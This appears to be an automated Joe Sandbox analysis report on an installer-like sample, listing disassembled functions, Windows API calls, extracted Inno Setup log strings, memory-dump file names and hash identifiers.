Opcode Fuzzy Hash: bd0a662ad2dd38144def4530256030cdb08cf53568247c3ffcddd32d1ed1ea18
Instruction Fuzzy Hash: 444194302042009EF7305F258805B237DEDEB4571AF208A3FA1D6BA6E1E77DAE419B5D

Function 00405314 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 167COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,0040555C,?,?,?,?,00000000,00000000,00000000,?,0040653B,00000000,0040654E), ref: 0040532E

Part of subcall function 0040515C: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,00405227,?,00000000,00405306), ref: 0040517A

Part of subcall function 004051A8: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,004053AA,?,?,?,00000000,0040555C), ref: 004051BB

Strings

AMPM, xrefs: 004054F9
:mm:ss, xrefs: 0040552A
m/d/yy, xrefs: 004053FD
:mm, xrefs: 00405510
mmmm d, yyyy, xrefs: 0040541F

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: InfoLocale$DefaultSystem
String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
API String ID: 1044490935-665933166
Opcode ID: 161572950381ad7cbc257d6fe5eb76d638651fb1e2415ab537dea70fc89fa197
Instruction ID: f22f4b18e1885e1925b87b286fa486de3d96a381b4aec2b7527aff107c54c5fa
Opcode Fuzzy Hash: 161572950381ad7cbc257d6fe5eb76d638651fb1e2415ab537dea70fc89fa197
Instruction Fuzzy Hash: 8E514234B00648ABDB00EBA59C91B9F776ADB89304F50957BB514BB3C6CA3DCA058B5C

Function 004019DC Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0040C41C,00000000,00401AB4), ref: 00401A09
LocalFree.KERNEL32(0048FC60,00000000,00401AB4), ref: 00401A1B
VirtualFree.KERNEL32(?,00000000,00008000,0048FC60,00000000,00401AB4), ref: 00401A3A
LocalFree.KERNEL32(0048ED10,?,00000000,00008000,0048FC60,00000000,00401AB4), ref: 00401A79
RtlLeaveCriticalSection.KERNEL32(0040C41C,00401ABB), ref: 00401AA4
RtlDeleteCriticalSection.KERNEL32(0040C41C,00401ABB), ref: 00401AAE

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: 57d208b384dc2f586c03b96f4df297de7af50f17441c1957de60d2bf1c39d9ad
Instruction ID: 5447b05044442752c1d56c7733342563ab4b4f61826a3093f511f794066d9233
Opcode Fuzzy Hash: 57d208b384dc2f586c03b96f4df297de7af50f17441c1957de60d2bf1c39d9ad
Instruction Fuzzy Hash: 91116330341280DAD711ABA59EE2F623668B785748F44437EF444B62F2C67C9840CA9D

Function 00403D02 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 72windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00403D9D
ExitProcess.KERNEL32 ref: 00403DE5

Strings

9@, xrefs: 00403D29, 00403D34
Runtime error at 00000000, xrefs: 00403D96, 00403DA9
Error, xrefs: 00403D91

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ExitMessageProcess
String ID: Error$Runtime error at 00000000$9@
API String ID: 1220098344-1503883590
Opcode ID: 0b7abc0913d0e9b6482778e2bb40dc1e8adb9ed549d30d0444a38b969016e341
Instruction ID: db3008c0e6bc5d60e05df0545d3e9f81ce91e923819fa2a9fb93000da4b6b716
Opcode Fuzzy Hash: 0b7abc0913d0e9b6482778e2bb40dc1e8adb9ed549d30d0444a38b969016e341
Instruction Fuzzy Hash: B521F830A04341CAE714EFA59AD17153E98AB49349F04837BD500B73E3C77C8A45C76E

Function 004036B8 Relevance: 7.6, APIs: 5, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 004036F2
SysAllocStringLen.OLEAUT32(?,00000000), ref: 004036FD
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00403710
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 0040371A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00403729

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: e5c78b39f57021be2b84baee447ab27339ef0409ceaef8bd5dd3a85dcd2f6a98
Instruction ID: 1285967c487f36a4f1f77a8b8e1f1fe351824cacfdb80e5859a13ebcd08b75b2
Opcode Fuzzy Hash: e5c78b39f57021be2b84baee447ab27339ef0409ceaef8bd5dd3a85dcd2f6a98
Instruction Fuzzy Hash: 17F068A13442543AF56075A75C43FAB198CCB45BAEF10457FF704FA2C2D8B89D0492BD

Function 004030DC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00409B3A), ref: 004030E3
GetCommandLineA.KERNEL32(00000000,00409B3A), ref: 004030EE

Strings

U1hd.@, xrefs: 00403103
%G, xrefs: 004030F3

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CommandHandleLineModule
String ID: U1hd.@$%G
API String ID: 2123368496-2461373109
Opcode ID: ab44cebb113f23cc453db0582047ce3f33ed2b100303cb8959b7892e21e32e4b
Instruction ID: 0f926add87520dc699e98d27074396f9fab16295c11a520b4b5863bd90c7cb52
Opcode Fuzzy Hash: ab44cebb113f23cc453db0582047ce3f33ed2b100303cb8959b7892e21e32e4b
Instruction Fuzzy Hash: 03C01274541300CAD328AFF69E8A304B990A385349F40823FA608BA2F1CA7C4201EBDD

Function 00401918 Relevance: 6.0, APIs: 4, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.KERNEL32(0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040192E
RtlEnterCriticalSection.KERNEL32(0040C41C,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 00401941
LocalAlloc.KERNEL32(00000000,00000FF8,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040196B
RtlLeaveCriticalSection.KERNEL32(0040C41C,004019D5,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 004019C8

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: aabd9570e7a52811c13604d6a46282fe49281d95e81aad3d3e53893a1864dea1
Instruction ID: 093a8b970c40f4dda7bd37408b901a2e20e4e29fb74a5496b56404d4d89a3717
Opcode Fuzzy Hash: aabd9570e7a52811c13604d6a46282fe49281d95e81aad3d3e53893a1864dea1
Instruction Fuzzy Hash: CC0161B0684240DEE715ABA999E6B353AA4E786744F10427FF080F62F2C67C4450CB9D

Function 004093FC Relevance: 5.0, APIs: 4, Instructions: 45sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,?,0000000D,?,0040A0FF,000000FA,00000032,0040A166), ref: 0040941B
Sleep.KERNEL32(?,?,?,?,0000000D,?,0040A0FF,000000FA,00000032,0040A166), ref: 0040942B
GetLastError.KERNEL32(?,?,?,0000000D,?,0040A0FF,000000FA,00000032,0040A166), ref: 0040943E
GetLastError.KERNEL32(?,?,?,0000000D,?,0040A0FF,000000FA,00000032,0040A166), ref: 00409448

Memory Dump Source

Source File: 00000000.00000002.2900947022.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2900914901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2900977696.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2901011188.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: fb2155ff6e4859bec8591c3fde2b363a3ebb44483e144ae34e4cc697df15f474
Instruction ID: 2c3041558bff2c9731999a3fdaa5bf7f611e1c5313eca5e15d372d414c244bd5
Opcode Fuzzy Hash: fb2155ff6e4859bec8591c3fde2b363a3ebb44483e144ae34e4cc697df15f474
Instruction Fuzzy Hash: 32F0B472A0811457CB34B5EF9981A6F638DEAD1368751813BF904F3383D578CD0392AD

Analysis Process: OFjT8HmzFJ.tmpPID: 6876, Parent PID: 6848COMMON

Execution Graph

Execution Coverage:	16.2%
Dynamic/Decrypted Code Coverage:	0.7%
Signature Coverage:	5.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	106

Executed Functions

Function 0046CAC4 Relevance: 78.0, APIs: 4, Strings: 40, Instructions: 959COMMON

Download Yara Rule

Strings

Skipping due to "onlyifdestfileexists" flag., xrefs: 0046D316
Time stamp of our file: %s, xrefs: 0046CDB7
Dest filename: %s, xrefs: 0046CCB0
-- File entry --, xrefs: 0046CB17
Incrementing shared file count (32-bit)., xrefs: 0046D9A4
InUn, xrefs: 0046D561
Existing file is protected by Windows File Protection. Skipping., xrefs: 0046D208
User opted not to strip the existing file's read-only attribute. Skipping., xrefs: 0046D2B2
Failed to strip read-only attribute., xrefs: 0046D2EF
Same time stamp. Skipping., xrefs: 0046D171
@, xrefs: 0046CBCC
Time stamp of existing file: (failed to read), xrefs: 0046CE53
Existing file's MD5 sum is different from our file. Proceeding., xrefs: 0046D0E0
Non-default bitness: 32-bit, xrefs: 0046CCD7
Existing file has a later time stamp. Skipping., xrefs: 0046D1EB
Existing file's MD5 sum matches our file. Skipping., xrefs: 0046D0D1
.tmp, xrefs: 0046D3D3
Will register the file (a DLL/OCX) later., xrefs: 0046D91E
Uninstaller requires administrator: %s, xrefs: 0046D591
Couldn't read time stamp. Skipping., xrefs: 0046D151
User opted not to overwrite the existing file. Skipping., xrefs: 0046D269
Version of existing file: (none), xrefs: 0046D116
IF, xrefs: 0046DB13
Skipping due to "onlyifdoesntexist" flag., xrefs: 0046CDEA
Same version. Skipping., xrefs: 0046D101
Installing the file., xrefs: 0046D325
, xrefs: 0046CFEB, 0046D1BC, 0046D23A
Version of our file: (none), xrefs: 0046CF18
Time stamp of existing file: %s, xrefs: 0046CE47
Will register the file (a type library) later., xrefs: 0046D912
Non-default bitness: 64-bit, xrefs: 0046CCCB
Time stamp of our file: (failed to read), xrefs: 0046CDC3
Version of our file: %u.%u.%u.%u, xrefs: 0046CF0C
Incrementing shared file count (64-bit)., xrefs: 0046D98B
Dest file is protected by Windows File Protection., xrefs: 0046CD09
Dest file exists., xrefs: 0046CDD7
Version of existing file: %u.%u.%u.%u, xrefs: 0046CF98
Failed to read existing file's MD5 sum. Proceeding., xrefs: 0046D0EC
Stripped read-only attribute., xrefs: 0046D2E3
Existing file is a newer version. Skipping., xrefs: 0046D01E

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID:
String ID: $-- File entry --$.tmp$@$Couldn't read time stamp. Skipping.$Dest file exists.$Dest file is protected by Windows File Protection.$Dest filename: %s$Existing file has a later time stamp. Skipping.$Existing file is a newer version. Skipping.$Existing file is protected by Windows File Protection. Skipping.$Existing file's MD5 sum is different from our file. Proceeding.$Existing file's MD5 sum matches our file. Skipping.$Failed to read existing file's MD5 sum. Proceeding.$Failed to strip read-only attribute.$InUn$Incrementing shared file count (32-bit).$Incrementing shared file count (64-bit).$Installing the file.$IF$Non-default bitness: 32-bit$Non-default bitness: 64-bit$Same time stamp. Skipping.$Same version. Skipping.$Skipping due to "onlyifdestfileexists" flag.$Skipping due to "onlyifdoesntexist" flag.$Stripped read-only attribute.$Time stamp of existing file: %s$Time stamp of existing file: (failed to read)$Time stamp of our file: %s$Time stamp of our file: (failed to read)$Uninstaller requires administrator: %s$User opted not to overwrite the existing file. Skipping.$User opted not to strip the existing file's read-only attribute. Skipping.$Version of existing file: %u.%u.%u.%u$Version of existing file: (none)$Version of our file: %u.%u.%u.%u$Version of our file: (none)$Will register the file (a DLL/OCX) later.$Will register the file (a type library) later.
API String ID: 0-3571605357
Opcode ID: eeaba1ed55c551783d6c4063a7afe46bb51bbf37f401dd38843f7e860b600746
Instruction ID: 764dd9b7837a55062f9756f2532f5d93a8586d3a18b7dcab1f1df9edb8937839
Opcode Fuzzy Hash: eeaba1ed55c551783d6c4063a7afe46bb51bbf37f401dd38843f7e860b600746
Instruction Fuzzy Hash: 83928434E042889FCB11DFA5C485BDDBBF1AF05308F1541ABE844AB392D7789E49DB1A

Function 00423B7C Relevance: 21.4, APIs: 14, Instructions: 395
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71c5fd17a32dc336cd4eb35345c4712ce61510335a7e9e4477b493b8e1b05fdb
Instruction ID: 08d2eb01bbb0ed60fc7aa7cee5e011afdc801c2d0a550085eeb8675b0aa62de6
Opcode Fuzzy Hash: 71c5fd17a32dc336cd4eb35345c4712ce61510335a7e9e4477b493b8e1b05fdb
Instruction Fuzzy Hash: ACE19A30B00124EBC710DF69E585A5EB7B0FF48704FA441AAE645AB352CB7DEE81DB09

Function 00463D14 Relevance: 13.9, APIs: 4, Strings: 3, Instructions: 1653
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00490A38: GetWindowRect.USER32(00000000), ref: 00490A4E

LoadBitmapA.USER32(00400000,STOPIMAGE), ref: 004640E3

Part of subcall function 0041D620: GetObjectA.GDI32(?,00000018,004640FD), ref: 0041D64B

Part of subcall function 00463B70: SHGetFileInfo.SHELL32(c:\directory,00000010,?,00000160,00001010), ref: 00463C0D
Part of subcall function 00463B70: ExtractIconA.SHELL32(00400000,00000000,?), ref: 00463C33
Part of subcall function 00463B70: SHGetFileInfo.SHELL32(00000000,00000000,?,00000160,00001000), ref: 00463C8F
Part of subcall function 00463B70: ExtractIconA.SHELL32(00400000,00000000,?), ref: 00463CB5

Part of subcall function 0046352C: KiUserCallbackDispatcher.NTDLL(?,?,00000000,?,00464198,00000000,00000000,00000000,0000000C,00000000), ref: 00463544

Part of subcall function 00490CBC: MulDiv.KERNEL32(0000000D,?,0000000D), ref: 00490CC6

Part of subcall function 00490988: 73A1A570.USER32(00000000,?,?,?), ref: 004909AA
Part of subcall function 00490988: SelectObject.GDI32(?,00000000), ref: 004909D0
Part of subcall function 00490988: 73A1A480.USER32(00000000,?,00490A2E,00490A27,?,00000000,?,?,?), ref: 00490A21

Part of subcall function 00490CAC: MulDiv.KERNEL32(0000004B,?,00000006), ref: 00490CB6

GetSystemMenu.USER32(00000000,00000000,0000000C,00000000,00000000,00000000,00000000,0213D964,0213F5B8,?,?,0213F5E8,?,?,0213F638,?), ref: 00464D81
AppendMenuA.USER32(00000000,00000800,00000000,00000000), ref: 00464D92
AppendMenuA.USER32(00000000,00000000,0000270F,00000000), ref: 00464DAA

Part of subcall function 00429FCC: SendMessageA.USER32(00000000,0000014E,00000000,00000000), ref: 00429FE2

Strings

, xrefs: 004641A5
(Default), xrefs: 00465395
STOPIMAGE, xrefs: 004640D8

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Menu$AppendExtractFileIconInfoObject$A480A570BitmapCallbackDispatcherLoadMessageRectSelectSendSystemUserWindow
String ID: $(Default)$STOPIMAGE
API String ID: 1965080796-770201673
Opcode ID: 33519521e4debd935cc63a3db84bae575aede25e64dc45950a0079ee8547bc46
Instruction ID: 53e0fe022a5b39c5bb2f4b3018524fe0c03dc016e1e7b9a52ae47558d6fc0c9c
Opcode Fuzzy Hash: 33519521e4debd935cc63a3db84bae575aede25e64dc45950a0079ee8547bc46
Instruction Fuzzy Hash: 2AF2C5386105118FCB00EB69D8D9F9973F5BF89304F1542B6E5049B36ADB78EC46CB8A

Function 00471184 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 99fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,004712EE,?,?,00000001,0049715C), ref: 004711DD
FindNextFileA.KERNEL32(00000000,?,00000000,?,00000000,004712EE,?,?,00000001,0049715C), ref: 004712BA
FindClose.KERNEL32(00000000,00000000,?,00000000,?,00000000,004712EE,?,?,00000001,0049715C), ref: 004712C8

Strings

unins, xrefs: 00471230
unins???.*, xrefs: 004711C7

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID: unins$unins???.*
API String ID: 3541575487-1009660736
Opcode ID: 7c3f7a65199f259125b28f9e714cfac99b8e2395138cda4eed2b54fbb44c75b0
Instruction ID: fbfcfdc37d97a530e875f0c7be138cc09a4dc2487c0c3f38d124d831dacda521
Opcode Fuzzy Hash: 7c3f7a65199f259125b28f9e714cfac99b8e2395138cda4eed2b54fbb44c75b0
Instruction Fuzzy Hash: AF3135706001489BDB10EB69C985ADE77B9DF44304F5085F6A848EB372D738DF858B58

Function 0044806C Relevance: 4.7, APIs: 3, Instructions: 151libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(00000000,00000000,00000008,?,?,00000000,00448249), ref: 0044818C
GetProcAddress.KERNEL32(00000000,00000000), ref: 0044820D

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID:
API String ID: 2574300362-0
Opcode ID: d697c6387f5891f63f72e9586e17d7fdc544452ade99bcbc5833b7844cac4076
Instruction ID: 19f54218a5dc2dea34a8af529d7b6b78998629b1663bba48939600e11264bb51
Opcode Fuzzy Hash: d697c6387f5891f63f72e9586e17d7fdc544452ade99bcbc5833b7844cac4076
Instruction Fuzzy Hash: 8C516374E00505AFDB01EF95C481AAEB7F8EB45314F10817FE814BB396CA789E05CB59

Function 00451788 Relevance: 3.0, APIs: 2, Instructions: 45fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,004517EB,?,?,-00000001,00000000), ref: 004517C5
GetLastError.KERNEL32(00000000,?,00000000,004517EB,?,?,-00000001,00000000), ref: 004517CD

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorFileFindFirstLast
String ID:
API String ID: 873889042-0
Opcode ID: b63df860fd87db762586364769f740e1b96024d7f4935a190be61726d5837854
Instruction ID: 3f690bc20a6f729f33fea0595cc7536f2a0b066d891ae7d1f56deb5eee5a1bd0
Opcode Fuzzy Hash: b63df860fd87db762586364769f740e1b96024d7f4935a190be61726d5837854
Instruction Fuzzy Hash: EDF0F975A04604AB8B10DB7A9C4199EF7ECDB49725710467BFC14D3292DA784D058558

Function 004084D0 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,004964C0,00000001,?,0040859B,?,00000000,0040867A), ref: 004084EE

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: db4c94cdf382ee3399fd393310c0d3b07f3e4771964ce669c16d021a31866df8
Instruction ID: 1ce02aaae6ec4ade8b295bae84213e8e13784b7c216e354617812bc232f4da8b
Opcode Fuzzy Hash: db4c94cdf382ee3399fd393310c0d3b07f3e4771964ce669c16d021a31866df8
Instruction Fuzzy Hash: 59E0D87170021467D711E95A9C869F7B35CA758314F00427FB949EB3C2EDB8DE4046ED

Function 00423AF4 Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?,?,004240C1,?,00000000,004240CC), ref: 00423B1E

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 64e955a3b472d01c0905e970ca99d3a2ef1fdf3ede39ae3382b7425e9cc24165
Instruction ID: 62037174fb3a4e63d39f4d80a9d1e591ad15120c94b51c82d4663250cb3dbf53
Opcode Fuzzy Hash: 64e955a3b472d01c0905e970ca99d3a2ef1fdf3ede39ae3382b7425e9cc24165
Instruction Fuzzy Hash: A0F0C579205608AFCB40DF9DC588D4AFBE8FB4C260B158295B988CB321C234FE808F94

Function 004540A8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?), ref: 004540BE

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 70e1216f35f591b841bffe5de81119a2b88dbf3dcd7a6e2b2308a53e5b3bc461
Instruction ID: 10d8a52b9a8dc5e418ab8954d23c21dfb9e403ecd82518f781544b4d8b7ecea6
Opcode Fuzzy Hash: 70e1216f35f591b841bffe5de81119a2b88dbf3dcd7a6e2b2308a53e5b3bc461
Instruction Fuzzy Hash: 8ED0CD7130420063C7006A659C81597758C4784305F10443F3DC6DA2C3E5BDD69C5656

